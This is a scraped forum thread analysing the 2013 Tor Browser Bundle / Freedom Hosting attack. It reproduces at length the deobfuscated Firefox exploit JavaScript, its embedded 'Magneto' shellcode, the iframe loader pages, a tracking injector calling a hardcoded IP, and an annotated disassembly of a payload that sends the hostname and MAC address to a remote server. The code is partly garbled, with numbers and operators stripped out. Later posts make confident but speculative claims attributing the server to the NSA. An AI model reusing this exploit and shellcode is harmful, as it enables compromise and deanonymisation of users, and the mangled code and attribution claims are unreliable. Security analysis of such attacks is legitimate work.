Torsploit takedown: analysis, reverse engineering, forensic - 推酷
Torsploit takedown: analysis, reverse engineering, forensic
已收藏到推刊！
请填写推刊名
描述不能大于100个字符!
权限设置： 公开
仅自己可见
Incidentally, here's the
. I'm far from current in js nowadays - it's a vibrant language, mutating into something far more than the &cute pull down menus& tool I remember from the 1990s - and lots of those capabilities are not in my realm of firsthand expertise. That said, nothing in here even looks like an &exploit& to me, unless I'm missing something? These are all standard, browser-based queries to get status from the machine... and the second code blob is, simply put, a cookie tracking tool.
Is this a 'sploit, or is it just making use of some basic flaw in how Firefox handles these questions? We have a browser vulns thread here with all sorts of info on this subject... perhaps folks can explain, who have closer direct expertise in this. It is interesting that the useragent (NT) and browser type (Firefox) filter is so rigidly applied. They don't even waste time with other platforms or browser codebase, eh?
edited to add
: Kevin Poulsen has a typically excellent, timely summary of what's going on with this js (which, as expected, I failed entirely to see). Quoting from
The heart of the malicious Javascript is a tiny Windows executable hidden in a variable named “Magneto”. A traditional virus would use that executable to download and install a full-featured backdoor, so the hacker could come in later and steal passwords, enlist the computer in a DDoS botnet, and generally do all the other nasty things that happen to a hacked Windows box.
But the Magneto code doesn’t download anything. It looks up the victim’s MAC address – a unique hardware identifier for the computer’s network or Wi-Fi card — and the victim’s Windows hostname. Then it sends it to the Virginia server coded as a standard HTTP web request.
He cites Vlad Tsrklevich as the source of the deobfuscation and code analysis: here's the
Whilst the github link is far more useful for code review, in case folks don't want to have to jump over there, here's the version of the code (I keep wanting to call it &script,& apologies
) available there currently:
//nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-cbd0 iframe:&&html&&body&&iframe frameborder=0 border=0 height=1 width=1 id=&iframe&& &/iframe&&/body&&/html&&&script&&var var1=0xB0;var var2 = new Array(var1);var var3 = new Array(var1);var var4 = new Array(var1);&var var5=0xFF004;var var6=0x3FC01;&var var7=0x;var var8=0x;&&var var9=1;&var var10 = 0x;var var11 = 0;var var12=0;&var var13 =0;&function df(){if(var12==0){return 0x;}var var14 = var10 + 0x * var11 + 0x0000002B;&if( var9 == 1 || var9 == 2)return ( var14 - var12);elsereturn 0x;}&function b(){var version = al();if(version &17){window.location.href=&content_1.html&;}if( version &=17 && version &18 )var12 = 0xE8;}&function c(){var iframe=document.getElementById(&iframe&);iframe.src=&content_2.html&;}&function d(){for(var j=0;j&var1;j++){if( j&var1/8 || j==var1-1){var tabb = new Array(0x1ED00);var4[j]=for(i=0;i&0x1ED00;i++){var4[j][i]=0x;}}var2[j]= new ArrayBuffer(var5);}for(var j=0;j&var1;j++){var3[j]= new Int32Array(var2[j],0,var6);var3[j][0]=0x;&for(var i=1;i&16;i++){var3[j][0x4000*i] = 0x;}&}&for(var j=0;j&var1;j++){if(typeof var4[j] !=&undefined&){var4[j][0]=0x;}}}&function e(view){var i=0;for(i=0;i&0x400;i++){view[i] = var13+0x1010 ;}view[0x0]=var13+0x1010;view[0x44]=0x0;view[0x45]=0x0;view[0x400-4]=var13+0x1010;view[0x400]=0x;view[0x401]=0x7FFE0300;}&function f(var15,view,var16){var magneto = &&;var magneto = (&\ufc60\u8ae8&+&\u&+&\ue589\ud231&+&\u8b64\u3052&+&\u528b\u8b0c&+&\ub&+&\u0f28\u4ab7&+&\u3126\u31ff&+&\uacc0\u613c&+&\u027c\u202c&+&\ucfc1\u010d&+&\ue2c7\u52f0&+&\u8b57\u1052&+&\u428b\u013c&+&\u8bd0\u7840&+&\uc085\u4a74&+&\ud001\u8b50&+&\ub&+&\u0120\ue3d3&+&\u493c\u348b&+&\u018b\u31d6&+&\u31ff\uacc0&+&\ucfc1\u010d&+&\u38c7\u75e0&+&\u03f4\uf87d&+&\u7d3b\u7524&+&\u58e2\u588b&+&\u&+&\u0c8b\u8b4b&+&\u1c58\ud301&+&\u048b\u018b&+&\u89d0\u2444&+&\u5b24\u615b&+&\u5a59\uff51&+&\u58e0\u5a5f&+&\u128b\u86eb&+&\u5d05\ubd81&+&\u02e9\u0000&+&\u&+&\ud&+&\u02d1\u0000&+&\uc&+&\u0726\ud5ff&+&\uc085\u5e74&+&\u858d\u02d8&+&\u&+&\u774c\u0726&+&\ud5ff\uc085&+&\u4c74\u90bb&+&\u&+&\u54dc\u6853&+&\ub&+&\ud5ff\udc01&+&\uc085\u3675&+&\u&+&\u&+&\uea68\udf0f&+&\uffe0\u31d5&+&\uf7db\u39d3&+&\u74c3\u891f&+&\u6ac3\u8d10&+&\ue1b5\u0002&+&\u&+&\ua599\u6174&+&\ud5ff\uc085&+&\u1f74\u8dfe&+&\u&+&\ue375\ubd80&+&\u024f\u0000&+&\u7401\ue807&+&\u013b\u0000&+&\u05eb\u4de8&+&\u0001\uff00&+&\ub8e7\u0100&+&\u0000\uc429&+&\ue289\u5052&+&\u&+&\u01de\ud5ff&+&\u815f\u00c4&+&\u&+&\u0fc0\uf285&+&\u&+&\uf9e8\u0000&+&\u5e00\uca89&+&\ubd8d\u02e9&+&\u0000\uebe8&+&\u&+&\ufa83\u7c20&+&\uba05\u0020&+&\u0000\ud189&+&\uf356\ub9a4&+&\u000d\u0000&+&\ub58d\u02c4&+&\u0000\ua4f3&+&\ubd89\u024b&+&\ue&+&\ua968\u3428&+&\uff80\u85d5&+&\u0fc0\uaa84&+&\u&+&\u488b\u660a&+&\uf983\u0f04&+&\u9c82\u0000&+&\u8d00\u0c40&+&\u008b\u088b&+&\u098b\u00b8&+&\u&+&\ue789\uc429&+&\ue689\u5657&+&\u&+&\ud272\uffb8&+&\u85d5\u81c0&+&\u04c4\u0001&+&\u0f00\u0fb7&+&\uf983\u7206&+&\ub96c\u0006&+&\u&+&\u&+&\u89c4\u89e7&+&\ud1ca\u50e2&+&\u&+&\u&+&\uc0f0\u04e8&+&\u093c\u0477&+&\u3004\u02eb&+&\u&+&\u&+&\u3c0f\u7709&+&\u0404\ueb30&+&\u&+&\u4707\ue246&+&\u59d4\ucf29&+&\ufe89\u0158&+&\u8bc4\u4bbd&+&\u0002\uf300&+&\uc6a4\u4f85&+&\u&+&\u2ee8\u0000&+&\u&+&\u2951\u4fcf&+&\u5357\uc268&+&\u38eb\uff5f&+&\u53d5\u7568&+&\u4d6e\uff61&+&\ue9d5\ufec8&+&\uffff\uc931&+&\ud1f7\uc031&+&\uaef2\ud1f7&+&\uc349\u0000&+&\u&+&\ue9bd\u0002&+&\ue800\uffe4&+&\uffff\ub94f&+&\u004f\u0000&+&\ub58d\u0275&+&\u0000\ua4f3&+&\ubd8d\u02e9&+&\u0000\ucbe8&+&\uffff\uc3ff&+&\u0a0d\u6f43&+&\u6e6e\u6365&+&\uf&+&\u203a\u656b&+&\ud&+&\u696c\u6576&+&\u0a0d\u6341&+&\u&+&\u203a\u2f2a&+&\u0d2a\u410a&+&\u&+&\u2d74\u6e45&+&\u6f63\u6964&+&\u676e\u203a&+&\u7a67\u7069&+&\u0a0d\u0a0d&+&\u&+&\uc931\ud1f7&+&\uc031\uaef3&+&\uff4f\u0de7&+&\u430a\u6f6f&+&\u696b\u3a65&+&\u&+&\u&+&\u&+&\uc&+&\u&+&\u&+&\ude41\u36ca&+&\u&+&\u312f\u3866&+&\u&+&\u2d64\u6230&+&\ud&+&\u&+&\u&+&\u382d\u6362&+&\u&+&\u&+&\u&+&\uf&+&\u312e\u0a0d&+&\u6f48\u7473&+&\u203a\u0000&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&\u&+&&);var var29 =var var17 = &\u9060&;var var18 = &\u9061&;var var19 = &\uC481\u& ;var var20 = &\u&+String.fromCharCode((var13 && 16) & 0x0000FFFF);var var21=&\u258B\u3000&+String.fromCharCode((var13 && 16) & 0x0000FFFF);var var22 = &\uE589&;var var23 =&\uC3C9&;var var24 = &\uE889&;var24 += &\u608D\u90C0&;&var var25 = var10 + 0x * var11 + 0x + 0x;var var26 = var25 + var16*4&var var27 =&&var27 += &\uB890\u&;var27 += &\uA390&+ae(var26+0x00);var27 += &\uA390&+ae(var26+0x04);var27 += &\uA390&+ae(var26+0x08);var27 += &\uA390&+ae(var26+0x0C);&var var28 = var17;var28 += var20;var28 += var19;var28 += var22;var28 += var27;var28 += var29;var28 += var21;var28 += var18;var28 += var23;var var29Array = new Array();var29Array=ag(var28);&var var29Ad = var13+0x5010;var i=0;var j=0;var var30=var13+0x4048;var var31 = new Array();&var31[0]=var30;var31[1]=var30;var31[2]=var30;var31[3]=var15[1];var31[4]=var29Ad;var31[5]=0xFFFFFFFF;var31[6]=var13+0x4044;var31[7]=var13+0x4040;var31[8]=0x;var31[9]=var13+0x4048;var31[10]=0x;var31[11]=var29Ad;var31[12]=var13+0x301C;&for(var i=0 ; i & 0x140 ; i++){var31[i+15]=var15[0];}var var32 = 0x3F8;view[0x800+0+var32]=var13+0x4018;view[0x800+1+var32]=var13+0x4018;for(var i=2 ; i & var31. i++){view[0x800+i+var32]= 0x;}for(var i=0 ; i & var31. i++){view[0xC02+i+var32]= var31[i];}for(var i=0 ; i & var29Array. i++){view[0x1000 + i+var32] = var29Array[i];}&}&function g(var50,view){var k = h(var50,view);var j=0;if( k & 0 )return -1;view[0x404+k]=var13+0x3010;return 1;}&function h(var50,view){var address=0;var u=0;var memory=&&;var var55=0;for( u =7; u &=4 ;u--){address=view[0x404+u];if( address & 0x000A0000 && address & 0x ){memory = i(address,0x48,var50,view);var55=af(memory[0x14]+memory[0x15]);if(var55==address){}}}return -1;}&function i(address,size,var50,view){var var56 = size/2;var56 = var56*0x10 +0x04;view[0x400]=var56;view[0x401]=return var4[var50][0];}&function j(memory,view){var intArray=ag(memory);for(var i=0 ; i & intArray. i++){view[0x404+i]=intArray[i];}}&function k(){for(var j=0;j&var1;j++){if(var2[j].byteLength!=var5){}}return -1;}&function l(view,var58){view[var58] = var13 + 0x1030;view[var58+1] = 0xFFFFFF85;}&function m(view,var58){view[var58]=0x;for(var j=0;j&var1;j++){if(typeof var4[j] !=&undefined&){if(var4[j][0]!=0x)}}return -1}&function n(view,firstvar58){var var57 = var10 + 0x + 0x * var11;var var58=0;for(var i=0;i&200;i++){if(view[var58] != 0x){if(view[var58] == 0x )return var58;elsereturn -1;}if(var58==0){var58 = firstvar58;}else{var var59=view[var58-0x0C];var58 = (var59 - var57)/4;}}return -1;}&function o(var60){var view = new Int32Array(var2[var60],0,0x);&var var59 = view[0x-0x0C];var var57 = var10 + 0x + 0x * var11;&return ((var59 - var57)/4);}&function p(){for(var j=0;j&var1;j++){for(var i=1;i&16;i++){if(var3[j][i*0x]==0x){return -i;}}}return 0;}&function q(var60){var view = new Int32Array(var2[var60],0,0x);view[0x-0x02]=var7;if(var2[var60+1].byteLength==var7)return var60+1;return -1;}&function r(var60){var view = new Int32Array(var2[var60],0,0x);view[0x-0x02]=var5;}&function t(){if(typeof sessionStorage.tempStor !=&undefined&)sessionStorage.tempStor=&&;}&function u(){if( t() == true ){var9 = 1;b();d();c();}else{}}&function v(){if(k() == -1){var11 = p();var9 = 2;c();}else{x();}}&function w(){if(var9==1)v();elsex();}&function x(){&var var60 = k();if(var60==-1)&var nextvar60 = q(var60);if(nextvar60==-1)&var var61 = o(var60);var var62 = new Int32Array(var2[nextvar60],0,var8);var var58 = n(var62,var61);if(var58==-1)&var var50 = m(var62,var58);&var13 = var10 + 0x + 0x * var11;e(var62);&l(var62,var58);&var var64 = var4[var50][0];&ac(var64,var50,var62,var58,var60);}&function y(index){var4[index][1]= document.createElement('span') ;}&function z(index,index2){var4[index][1].innerHTML;}&function aa(view,var63){return view[var63];}&function ab(address,view,var63){view[var63]=}&&function ac(var64,var50,var62,var58,var60){var var15=ah(var64);&f(var15,var62,var58);&y(var50);var var66 = aa(var62,var58+2);&var var67 = i(var66,0x40,var50,var62) ;j(var67,var62);&g(var50,var62);ab(var13+0x1040 ,var62,var58+2);&r(var60)setTimeout(ad,1000);z(var50);}&&function ad(){for(var j=0;j&var1;j++){delete var3[j]var3[j]=&delete var2[j];var2[j] =&if(typeof var4[j] !=&undefined&){delete var4[j];var4[j] =}}delete var2;delete var3;delete var4;var2=var3=var4=}&function ae(int32){var var68 = String.fromCharCode((int32)& 0x0000FFFF);var var69 = String.fromCharCode((int32 && 16) & 0x0000FFFF);return var68+var69;}&&function af(string){var var70 = string.charCodeAt(0);var var71 = string.charCodeAt(1);var var72 = (var71 && 16) + var70;return var72;}&function ag(string){if(string.length%2!=0)string+=&\u9090&;var intArray= new Array();for(var i=0 ; i*2 & string. i++ )intArray[i]=af(string[i*2]+string[i*2+1]);return intA}&&function ah(var73){var var74 = var73.substring(0,2);var var70 = var74.charCodeAt(0);var var71 = var74.charCodeAt(1);var var75 = (var71 && 16) + var70;if (var75 == 0){var var76 = var73.substring(32, 34);var var70 = var76.charCodeAt(0);var var71 = var76.charCodeAt(1);var75 = (var71 && 16) + var70;}var var15 = am(var75);if (var15 == -1){}return var15}&function aj(version){var i = navigator.userAgent.indexOf(&Windows NT&);if (i != -1)}&function ak(){var ua = navigator.userAvar browser = ua.substring(0, ua.lastIndexOf(&/&));browser = browser.substring(browser.lastIndexOf(& &) + 1);if (browser != &Firefox&)return -1;&var version = ua.substring(ua.lastIndexOf(&/&) + 1);version = parseInt(version.substring(0, version.lastIndexOf(&.&)));}&function al(){version = ak();&if (!aj(version))return -1;}&&function am(var77){var var15 = new Array(2);if (var77 % 0x10000 == 0xE510){var78 = var77 - 0xE510;var15[0] = var78 + 0xE8AE;var15[1] = var78 + 0xD6EE;}else if (var77 % 0x10000 == 0x9A90){var78 = var77 - 0x69A90;var15[0] = var78 + 0x6A063;var15[1] = var78 + 0x68968;}else if (var77 % 0x10000 == 0x5E70){var78 = var77 - 0x65E70;var15[0] = var78 + 0x66413;var15[1] = var78 + 0x64D34;}else if (var77 % 0x10000 == 0x35F3){var78 = var77 - 0x335F3;var15[0] = var78 + 0x4DE13;var15[1] = var78 + 0x49AB8;}else if (var77 % 0x10000 == 0x5CA0){var78 = var77 - 0x65CA0;var15[0] = var78 + 0x66253;var15[1] = var78 + 0x64B84;}else if (var77 % 0x10000 == 0x5CD0){var78 = var77 - 0x65CD0;var15[0] = var78 + 0x662A3;var15[1] = var78 + 0x64BA4;&}else if (var77 % 0x10000 == 0x6190){var78 = var77 - 0x46190;var15[0] = var78 + 0x467D3;var15[1] = var78 + 0x45000;&}else if (var77 % 0x10000 == 0x9CB9){var78 = var77 - 0x29CB9;var15[0] = var78 + 0x29B83;var15[1] = var78 + 0xFFC8;}else if (var77 % 0x10000 == 0x9CE9){var78 = var77 - 0x29CE9;var15[0] = var78 + 0x29BB3;var15[1] = var78 + 0xFFD8;}else if (var77 % 0x10000 == 0x70B0){var78 = var77 - 0x470B0;var15[0] = var78 + 0x47733;var15[1] = var78 + 0x45F18;}else if (var77 % 0x10000 == 0x7090){var78 = var77 - 0x47090;var15[0] = var78 + 0x476B3;var15[1] = var78 + 0x45F18;}else if (var77 % 0x10000 == 0x9E49){var78 = var77 - 0x29E49;var15[0] = var78 + 0x29D13;var15[1] = var78 + 0x10028;}else if (var77 % 0x10000 == 0x9E69){var78 = var77 - 0x29E69;var15[0] = var78 + 0x29D33;var15[1] = var78 + 0x10018;}&else if (var77 % 0x10000 == 0x9EB9){var78 = var77 - 0x29EB9;var15[0] = var78 + 0x29D83;var15[1] = var78 + 0xFFC8;}else{return -1;}&return var15;}&window.addEventListener(&onload&, u(),true);&&/script&&&nl7qbezu7pqsuone.onion/content_2.html:&&html&&body&&/body&&/html&&script&var y=&?????&,url=window.location.if(0&url.indexOf(y)){var iframe=document.createElement(&iframe&);iframe.src=&content_3.html&;document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};&/script&&&nl7qbezu7pqsuone.onion/content_3.html:&&script&var y=&?????&,z=&&,z=z+&&body&,z=z+&&&,z=z+&&img&,z=z+& height='1' width='1' src='error.html'&,z=z+' onerror=&javascript: ',z=z+(&window.location.href='content_2.html&+y+&';\& &),z=z+&&&,z=z+&&/body&,z=z+&&&,flag=!1,var83=0;function b(){for(var e=Array(1024),d=Array(1024),c=0;1024&c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024&c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener(&readystatechange&,a,!1);&/script&
...and here's the cookie-based stuff, labelled &second-version-js.js&
function createCookie(name,value,minutes) {if (minutes) {var date = new Date();date.setTime(date.getTime()+(minutes*60*1000));var expires = &; expires=&+date.toGMTString();}else var expires = &&;document.cookie = name+&=&+value+expires+&; path=/&;}&function readCookie(name) {var nameEQ = name + &=&;var ca = document.cookie.split(';');for(var i=0;i & ca.i++) {var c = ca[i];while (c.charAt(0)==' ') c = c.substring(1,c.length);if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);}}&function isFF() {return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));}&function updatify() {var iframe = document.createElement('iframe');iframe.style.display = &inline&;iframe.frameBorder = &0&;iframe.scrolling = &no&;iframe.src = &http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-a66&;iframe.height = &5&;iframe.width = &*&;document.body.appendChild(iframe);}&function freedomhost() {if ( ! readCookie(&n_serv&) ) {createCookie(&n_serv&, &eb5f2c80-fc81-11e2-b778-a66&, 30);updatify();}}&function isReady(){if ( document.readyState === &interactive& || document.readyState === &complete& ) {if ( isFF() ) {//window.alert(window.location + &Firefox Detected.&)freedomhost();}}else{setTimeout(isReady, 250);}}setTimeout(isReady, 250);
transformation through
Site Admin
in the Higgs ocean...
And here, for convenience's sake, is Vlad Tsrklevich's analysis of the kit (quoted verbatim from
... except I added a direct link to his
, just 'cause
This is an annotation and very brief analysis of the payload used by the Tor Browser Bundle exploit. Earlier I pasted a dump here:
Briefly, this payload connects to 65.222.202.54:80 and sends it an HTTP request that includes the host name (via gethostname()) and the MAC address of the local host (via calling SendARP on gethostbyname()-&h_addr_list). After that it cleans up the state and appears to deliberately crash.
Because this payload does not download or execute any secondary backdoor or commands it's very likely that this is being operated by an LEA and not by blackhats.
Vlad Tsyrklevich
A lightly annotated disassembly of the payload is included below:
skipping 0x91 bytes
BDE cmp dword [ebp+0x2e9],0x # &GET &
70 jnz 0x10e
D85D1020000 lea eax,[ebp+0x2d1] &ws2_32&
50 push eax
684C772607 push dword 0x726774c # LoadLibraryA
000000AA FFD5 call ebp
000000AC 85C0 test eax,eax
000000AE 745E jz 0x10e
8D85D8020000 lea eax,[ebp+0x2d8] &IPHLPAPI&
50 push eax
684C772607 push dword 0x726774c # LoadLibraryA
000000BC FFD5 call ebp # ebp = find function
000000BE 85C0 test eax,eax
744C jz 0x10e
BB mov ebx,0x190
29DC sub esp,ebx
54 push esp
000000CA 53 push ebx
push dword 0x6b8029 # WSAStartupA
FFD5 call ebp
01DC add esp,ebx
85C0 test eax,eax
7536 jnz 0x10e
50 push eax
50 push eax
000000DA 50 push eax
000000DB 50 push eax
000000DC 40 inc eax
000000DD 50 push eax
000000DE 40 inc eax
000000DF 50 push eax
68EA0FDFE0 push dword 0xe0df0fea # WSASocketA
FFD5 call ebp
31DB xor ebx,ebx
F7D3 not ebx
000000EB 39C3 cmp ebx,eax
000000ED 741F jz 0x10e
000000EF 89C3 mov ebx,eax
6A10 push byte +0x10
8DB5E1020000 lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
56 push esi
000000FA 53 push ebx
push dword 0x # connect
FFD5 call ebp
C0 test eax,eax
F jz 0x125
FE8D dec byte [ebp+0x89] # Try to connect 5 times
E3 jnz 0xf1
BD4F cmp byte [ebp+0x24f],0x1
7 jz 0x11e
B010000 call 0x257
0000011C EB05 jmp short 0x123
0000011E E84D010000 call 0x270
FFE7 jmp edi
0010000 mov eax,0x100
C4 sub esp,eax
E2 mov edx,esp
B649DE01 push dword 0x1de49b6 # gethostname
FFD5 call ebp
C add esp,0x100
C0 test eax,eax
F85F2000000 jnz near 0x239
F9000000 call 0x246 # strlen of gethostname
CA mov edx,ecx
DBDE9020000 lea edi,[ebp+0x2e9]
EB000000 call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
FA20 cmp edx,byte +0x20
C05 jl 0x166
BA mov edx,0x20
D1 mov ecx,edx
A4 rep movsb
0000016B B90D000000 mov ecx,0xd
DB5C4020000 lea esi,[ebp+0x2c4] &\r\nCookie: ID=&
A4 rep movsb
BD4B020000 mov [ebp+0x24b],edi
A9283480 push dword 0x # gethostbyname
FFD5 call ebp
C0 test eax,eax
F84AA000000 jz near 0x239
8B480A mov cx,[eax+0xa]
3F904 cmp cx,byte +0x4
F829C000000 jc near 0x239
D400C lea eax,[eax+0xc]
8B00 mov eax,[eax]
8B08 mov ecx,[eax]
8B09 mov ecx,[ecx]
B mov eax,0x100
000001AB 50 push eax
000001AC 89E7 mov edi,esp
000001AE 29C4 sub esp,eax
89E6 mov esi,esp
57 push edi
56 push esi
51 push ecx
51 push ecx
B8 push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB FFD5 call ebp
000001BD 85C0 test eax,eax
000001BF 81C add esp,0x104
0FB70F movzx ecx,word [edi]
83F906 cmp ecx,byte +0x6
000001CB 726C jc 0x239
000001CD B mov ecx,0x6
B mov eax,0x10
29C4 sub esp,eax
89E7 mov edi,esp
000001DB 89CA mov edx,ecx
000001DD D1E2 shl edx,1
000001DF 50 push eax
52 push edx
31D2 xor edx,edx
8A16 mov dl,[esi]
88D0 mov al,dl
24F0 and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
C0E804 shr al,0x4
000001EC 3C09 cmp al,0x9
000001EE 7704 ja 0x1f4
0430 add al,0x30
EB02 jmp short 0x1f6
0437 add al,0x37
8807 mov [edi],al
47 inc edi
88D0 mov al,dl
000001FB 240F and al,0xf
000001FD 3C09 cmp al,0x9
000001FF 7704 ja 0x205
0 add al,0x30
EB02 jmp short 0x207
7 add al,0x37
7 mov [edi],al
0000020B E2D4 loop 0x1e1
CF sub edi,ecx
FE mov esi,edi
C4 add esp,eax
BBD4B020000 mov edi,[ebp+0x24b]
0000021B F3A4 rep movsb
0000021D C1 mov byte [ebp+0x24f],0x1
E000000 call 0x257 # Append &Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n& and return the new strlen(ebp + 0x2e9)
C0 xor eax,eax
CF sub edi,ecx
C2EB385F push dword 0x5f38ebc2 # send
FFD5 call ebp
756E4D61 push dword 0x614d6e75 # closesocket
0000023F FFD5 call ebp
C8FEFFFF jmp 0x10e
C9 xor ecx,ecx
D1 not ecx
C0 xor eax,eax
0000024C F2AE repne scasb
0000024E F7D1 not ecx
0 add [eax],al
0 add [eax],al
DBDE90200 add [ebp+0x2e9bd],cl
E8 add al,ch
0000025E E4FF in al,0xff
FF db 0xFF
FF4FB9 dec dword [edi-0x47]
0 add [eax],al
DB5750200 add [ebp+0x275b5],cl
F3 add bl,dh
0000026F A4 movsb
DBDE9020000 lea edi,[ebp+0x2e9]
CBFFFFFF call 0x246
0000027B C3 ret
D0A436F6E or eax,0x6e6f430a
374696F arpl [gs:ecx+ebp*2+0x6f],si
A20 cmp ah,[eax]
B656570 imul esp,[ebp+0x65],byte +0x70
D616C6976 sub eax,0x76696c61
D0A416363 gs or eax,0x6363410a
074 gs jo 0x310
A20 cmp ah,[eax]
A2F sub ch,[edi]
2A0D0A416363 sub cl,[0x6363410a]
657074 gs jo 0x31d
2D456E636F sub eax,0x6f636e45
000002AE 677A imul ebp,[fs:esi+0x67],dword 0x7a67203a
D0A00 imul esi,[eax+0xd],dword 0xa0d0a
000002BD 83C70E add edi,byte +0xe
31C9 xor ecx,ecx
F7D1 not ecx
31C0 xor eax,eax
F3AE repe scasb
4F dec edi
FFE7 jmp edi
000002CB 0D0A436F6F or eax,0x6f6f430a
6B69653A imul ebp,[ecx+0x65],byte +0x3a
204944 and [ecx+0x44],cl
3D7773325F cmp eax,0x5f327377
000002DC 3332 xor esi,[edx]
000002DE 004950 add [ecx+0x50],cl
48 dec eax
4C dec esp
50 push eax
41 inc ecx
50 push eax
49 dec ecx
0002 add [edx],al
0000 add [eax],al
000002EB 50 push eax
000002EC 41 inc ecx
000002ED DECA fmulp st2
000002EF 3647 ss inc edi
45 inc ebp
54 push esp
202F and [edi],ch
xor [0x],dh
000002FB 64 gs sub eax,0x
D sub eax,0x
D sub eax,0x
D sub eax,0x
5623237 xor eax,0x
262 cmp [edx+0x62],esp
854 and [eax+0x54],cl
2E xor [esi],ebp
D0A486F73 xor [0x736f480a],ecx
A jz 0x363
0 and [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
0 add [eax],al
00 add [eax],al
00 add [eax],al
00 add [eax],al
0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
000003AB 0000 add [eax],al
000003AD 0000 add [eax],al
000003AF 0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
0000 add [eax],al
000003BB 90 nop
transformation through
Site Admin
in the Higgs ocean...
Here's some
payload that's been posted recently.
transformation through
Site Admin
in the Higgs ocean...
Well, the story gets more interesting...
This morning, we read that information from the NSA's illegal surveillance databases has been routinely finding its way into
, with an entire government &training programme& in existence to mask the source of the information from defendants... as well as prosecutors and judges.
And this weekend, we've been working through the news that a large breach of security associated with the Tor network - it's been dubbed
- has taken place. Exploit code is available (see earlier posts in this thread), and folks have been de-obfuscating and analysing the code.
There's also an IP address hard-coded into it - that's where the info gathered by the malware is being sent. That IP address is:
65.222.202.53
Now, the press reporting on the address so far has been saying it's a &Verizon business address in Virginia.& Yes, that's what whois shows, but that's not exactly the full story, or the real story.
The folks at Baneki Privacy Labs have been chasing down that detail. They first
, in a game-theoretic way, whether the entire situation isn't a bit too, well...
. I mean, did the FBI think nobody would notice? Everyone's been assuming it's the FBI, doing something like the
or some such. It's worth noting that nobody has taken public credit for this
malware yet, so attributing it to the FBI is a leap of assumptive logic.
Turns out, the story is much more interesting than that.
Baneki dug deeper than whois, and got some clues things were spookier than they seemed. First, there's an
sitting on the machine in question. So it's not some recycled or attempted-at-obfuscated IP address. It's still live and running. Then the
SAIC is, needless to say, deep in the core of the cyber-military complex... and certainly
not the FBI
Some further investigation by Baneki turns up the
That IP address is part of IP space directly allocated to the NSA's Autonomous Systems (AS). It's not FBI; it's NSA.
What is an NSA IP address doing as a command & control contact for javascript malware being deployed in the
attack? That remains to be seen... but we already know that PRISM data has been &jumping the wall& and leaking into other law enforcement hands. Is this an example of further abuse of PRISM's &national security only& dataset? That appears the most likely explanation, at this point in time.
Glenn Greenwald has been warning us this is happening - and here's another hard, objective, irrefutable data point. The NSA's Alexander - who only last week was
- is once again caught lying bald-faced.
What happens now? We sit back to await developments...
~ Cryptocloud Secure Networking |
... and others behind the scenes
ForumHelper
66 75 63 6b 50 52 49 53 4d
Thank you for spending the time to pull these resources together. Just to be sure I understand the analysis... the operating assumption here is that all of this *only* happens if NoScipt was set to enable scripts AND you were running a windows machine, right? There wasn't an exploit to disable noscript?
It appears that several criteria *must* be fulfilled for the exploit to work:
- Windows machine (do we know yet if system version matters? Win 8 / Win 7 / Vista / XP / NT etc?)
- NoScript set to *allow* scripts
- Visit infected .onion site
Is that correct?
pr0tox wrote:
Thank you for spending the time to pull these resources together. Just to be sure I understand the analysis... the operating assumption here is that all of this *only* happens if NoScipt was set to enable scripts AND you were running a windows machine, right? There wasn't an exploit to disable noscript?
We've been told by smart folks that the &useragent = NT& isn't actually going to filter for only Windows machines, as the Tor Browser Bundle package
report their useragent as &NT.& We've not yet confirmed that, but the folks who told us are much smarter than we are, so we tend to expect it'll prove true.
That would mean it's not unique to Windows, potentially. It is, however, very clearly Firefox 17 (or earlier) specific.
It appears that several criteria *must* be fulfilled for the exploit to work:
- NoScript set to *allow* scripts
- Visit infected .onion site
Is that correct?
We've seen nothing to suggest that the exploit is able to remotely
javascript and/or bypass noscript, so it does appear that scripting must be available to the browser. Apparently, in recent releases of Tor Browser Bundle, it's turned on by default. This we have not yet confirmed, so that's second-hand info currently.
And, yes, traffic must flow through an &infected& (more accurately, compromised) exit node - which injects the iframe and attendant javascript. Hence, when someone took down Freedomhost and gained backend access to it, they were able to introduce to the malware at the server side. That's the assumption, in theory, it'd be possible to remotely exploit the server and install the malware-injecting components without requiring that the entire hosting facility be taken over... or indeed without the owner of the server even knowing it's been exploited.
